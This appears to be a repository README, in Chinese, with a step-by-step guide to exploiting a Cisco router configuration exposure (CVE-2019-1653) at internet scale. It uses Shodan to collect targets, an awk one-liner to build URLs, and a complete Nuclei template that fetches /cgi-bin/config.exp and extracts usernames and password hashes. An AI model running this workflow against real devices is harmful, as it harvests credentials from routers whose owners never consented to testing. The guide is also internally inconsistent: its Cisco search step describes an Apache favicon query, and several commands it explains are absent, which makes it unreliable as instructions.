
自动化 Nuclei 模板与 Shodan 工作流,用于检测并利用 Cisco 路由器配置暴露漏洞(CVE-2019-1653),以进行安全审计。
漏洞描述
本仓库详细说明了某些 Cisco 路由器中一个漏洞的利用过程,该漏洞允许通过可公开访问的 URL 暴露 config.exp 配置文件。该文件可能包含敏感信息,包括凭据(USERNAME 和 PASSWD)、网络配置以及其他关键系统详细信息。如果可在无需身份验证的情况下访问,则可能危及设备及其所在网络的安全。
相关 CVE
该漏洞可能涉及 CVE-2003-1567 和 CVE-2019-1653,两者均与 Cisco 设备中配置文件的未授权暴露有关,不过仍需调查具体设备和固件是否适用于这些 CVE。 逐步利用指南
该过程使用 Shodan 识别易受攻击的设备,然后使用 Nuclei 扫描并验证 Cisco 路由器上关键配置的暴露情况。 前置要求
Shodan 账户:确保你拥有 Shodan 账户,并且已配置 API Key 以便从命令行访问。
Nuclei:已安装在你的环境中,并包含下文所述的自定义 Nuclei 模板。
工具:shodan-cli、awk 和 httpx,用于将 IP 地址转换为完整 URL。
步骤 1:在 Shodan 中搜索易受攻击的设备
第一步是通过高级搜索在 Shodan 中识别易受攻击的设备。以下 Shodan 查询会搜索可能是 Cisco 路由器的设备:
该命令:
在 Shodan 中执行搜索,以识别具有 Apache favicon 的设备,并使用特定哈希来识别可能与 Apache 相关的服务器。这在服务器审计场景中非常有用。
步骤 2:下载结果并格式化 URL
拿到 apache_results.json.gz 文件后,接下来需要提取每台设备的 IP 和端口,将其格式化为完整 URL,包括协议(http 或 https)和端口。 用于处理 .json 文件数据的命令
使用以下命令提取 IP 和端口,并将其格式化为完整 URL,保存到名为 urls.txt 的文件中:
awk '{if ($2 == 443 || $3 ~ /https/) print "https://"$1":"$2; else print "http://"$1":"$2}' > urls.txt
shodan parse:从 apache_results.json.gz 文件中提取每条结果的 IP 和端口。
awk:将输出格式化为完整 URL;如果端口为 443 或检测到 SSL,则使用 https,否则使用 http。
现在,urls.txt 文件包含格式化后的完整 URL。 步骤 3:创建自定义 Nuclei 模板
为了验证这些设备上是否可以访问 config.exp 文件,我们将使用自定义 Nuclei 模板。该模板将尝试访问该文件,并在存在 USERNAME 和 PASSWD 等敏感数据时将其提取出来。 Nuclei 模板(cisco-router-config-exposure.yaml)
id: cisco-router-config-exposure
info:
name: Cisco Router Configuration Exposure
author: elzer
severity: high
description: |
Detecta la exposición del archivo config.exp en routers Cisco que contiene credenciales y configuraciones críticas.
tags:
- cisco
- router
- vulnerability
- cgi-bin
- config.exp
requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/config.exp"
matchers-condition: or
matchers:
- type: word
words:
- "Cisco"
- "config"
- "version"
- type: regex
regex:
- "USERNAME=\\w+"
- "PASSWD=[a-f0-9]{32}"
该模板:
向 /cgi-bin/config.exp 文件发送 GET 请求。
检查响应中是否包含特定关键字或模式(Cisco、config、version),以确认暴露。
如果文件中存在 USERNAME 和 PASSWD 值,则尝试提取它们。
将此模板保存为 cisco-router-config-exposure.yaml,放在 Nuclei 的 templates 文件夹中。 步骤 4:运行 Nuclei 检测易受攻击的设备
准备好模板和 urls.txt 文件后,运行以下 Nuclei 命令扫描这些 URL:
-t path/to/cisco-router-config-exposure.yaml:指定我们创建的自定义模板。
-l urls.txt:使用包含格式化 URL 的 urls.txt 文件。
-o resultados_nuclei.txt:将结果保存到 resultados_nuclei.txt 文件。
-debug -vv:以详细模式运行 Nuclei,以便查看进度和调试详细信息。
结果
运行 Nuclei 后,resultados_nuclei.txt 文件将包含暴露 config.exp 配置文件的易受攻击设备列表。其中包括任何返回敏感凭据或配置的设备,从而确认漏洞暴露。 结论
此过程可让你使用 Shodan 和 Nuclei 识别并确认 Cisco 设备上关键配置文件的暴露。此流程的自动化对于安全审计人员以及对识别和修复企业网络中不安全配置感兴趣的网络安全专业人员尤其有用。